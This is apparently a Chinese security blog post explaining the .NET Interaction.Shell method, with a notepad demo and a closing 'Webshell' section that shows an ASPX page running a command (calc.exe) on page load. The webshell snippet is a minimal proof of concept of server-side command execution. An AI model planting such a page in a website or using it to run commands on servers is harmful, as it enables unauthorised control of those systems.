调用.NET Interaction.Shell执行系统命令

0x01 基本介绍

Interaction.Shell方法是在Visual Basic.NET中定义的一个方法,可以在Windows操作系统中启动一个外部程序或执行一个命令,并且可以指定应用程序的工作目录和命令行参数等。在.NET Framework中,这个方法也可以通过Microsoft.VisualBasic.Interaction类进行调用。下面是Interaction.Shell方法的参数及用法:.

Microsoft.VisualBasic.Interaction.Shell(pathName, style, wait, timeout)

入参pathName:要启动的程序文件路径或命令行命令,可以是一个字符串表达式,也可以是一个Object类型的表达式。如果是字符串表达式,必须包含完整的路径和文件名,如果是Object类型的表达式,则需要将其转换为字符串类型。style参数是一个可选的整数值,指定了应用程序窗口的外观和行为,可以取以下值之一

0:隐藏应用程序窗口。1:正常大小和位置。2:最小化。3:最大化。4:不激活应用程序窗口。6:隐藏应用程序窗口,同时在任务栏上显示一个按钮。

参数wait:一个可选的布尔值,指定是否等待启动的程序完成,可以取以下值之一

True:等待程序完成后继续执行。False:不等待程序完成,立即返回。

下面是一个使用Interaction.Shell方法启动外部程序的demo

Microsoft.VisualBasic.Interaction.Shell("C:\Windows\System32\notepad.exe", AppWinStyle.NormalFocus, true, -1)

在上面的示例中,我们使用Interaction.Shell方法启动Windows系统中的记事本应用程序,并将其窗口设置为正常大小和位置,等待程序完成后继续执行。由于没有指定超时时间,因此等待程序完成的时间没有限制。需要注意的是,Interaction.Shell方法在启动外部程序时并没有提供进程间通信(IPC)的功能,因此在启动外部程序后,不能直接与其进行交互或获取其输出。如果需要进行IPC操作,则需要使用其他的方法或技术,例如使用命名管道或套接字等

0x02 Webshell

调用需要引入程序集Microsoft.VisualBasic.dll,代码如下 ,文章涉及的工具和PDF已打包发布在星球

<script runat="server" language="c#">    public void Page_load(){           Interaction.Shell("calc.exe", AppWinStyle.NormalFocus);        } </script>